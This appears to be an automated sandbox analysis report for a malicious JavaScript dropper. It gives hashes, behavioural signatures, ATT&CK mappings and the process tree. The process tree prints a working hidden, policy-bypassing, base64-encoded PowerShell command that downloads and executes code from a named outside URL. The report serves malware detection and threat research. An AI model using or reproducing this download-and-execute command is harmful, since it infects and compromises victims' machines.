646d5a044c9df4a6f311f46d0bce5df9676bcf15e8706b9b6ff48a1e1b899948

Analysis

max time kernel
149s
max time network
188s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
26-12-2023 03:56

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General

Target

522af5c23380f540b7b3bbd92206a16e.js
Size

110KB
MD5

522af5c23380f540b7b3bbd92206a16e
SHA1

fc7dfa569521049159af27220528383427bec01e
SHA256

646d5a044c9df4a6f311f46d0bce5df9676bcf15e8706b9b6ff48a1e1b899948
SHA512

9f72c361b6e4e04c93ecbcdc983318fd9b62e9380663eaed416b0954e8b10e3d1748aebf10a2428a0c1f2d572e8f3273551d852463ba0575e9d8a673103ed015
SSDEEP

3072:QTOP5kUxF5GVBWbI3CPVgF9Ry98guHVBqqg2bcruzUHmLKeMMU7GwbWBPwVGWl9v:QTOhkUbWwc3RF9Ry9RuXqW4SzUHmLKee

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2548	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2548	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2548	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2908 wrote to memory of 1632	2908	wscript.exe	27
PID 2908 wrote to memory of 1632	2908	wscript.exe	27
PID 2908 wrote to memory of 1632	2908	wscript.exe	27
PID 1632 wrote to memory of 2548	1632	cmd.exe	29
PID 1632 wrote to memory of 2548	1632	cmd.exe	29
PID 1632 wrote to memory of 2548	1632	cmd.exe	29

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\522af5c23380f540b7b3bbd92206a16e.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2548-5-0x000000001B1A0000-0x000000001B482000-memory.dmp

Filesize
2.9MB

Download
memory/2548-7-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2548-6-0x0000000002610000-0x0000000002618000-memory.dmp

Filesize
32KB

Download
memory/2548-8-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2548-9-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2548-10-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2548-11-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2548-12-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2548-13-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download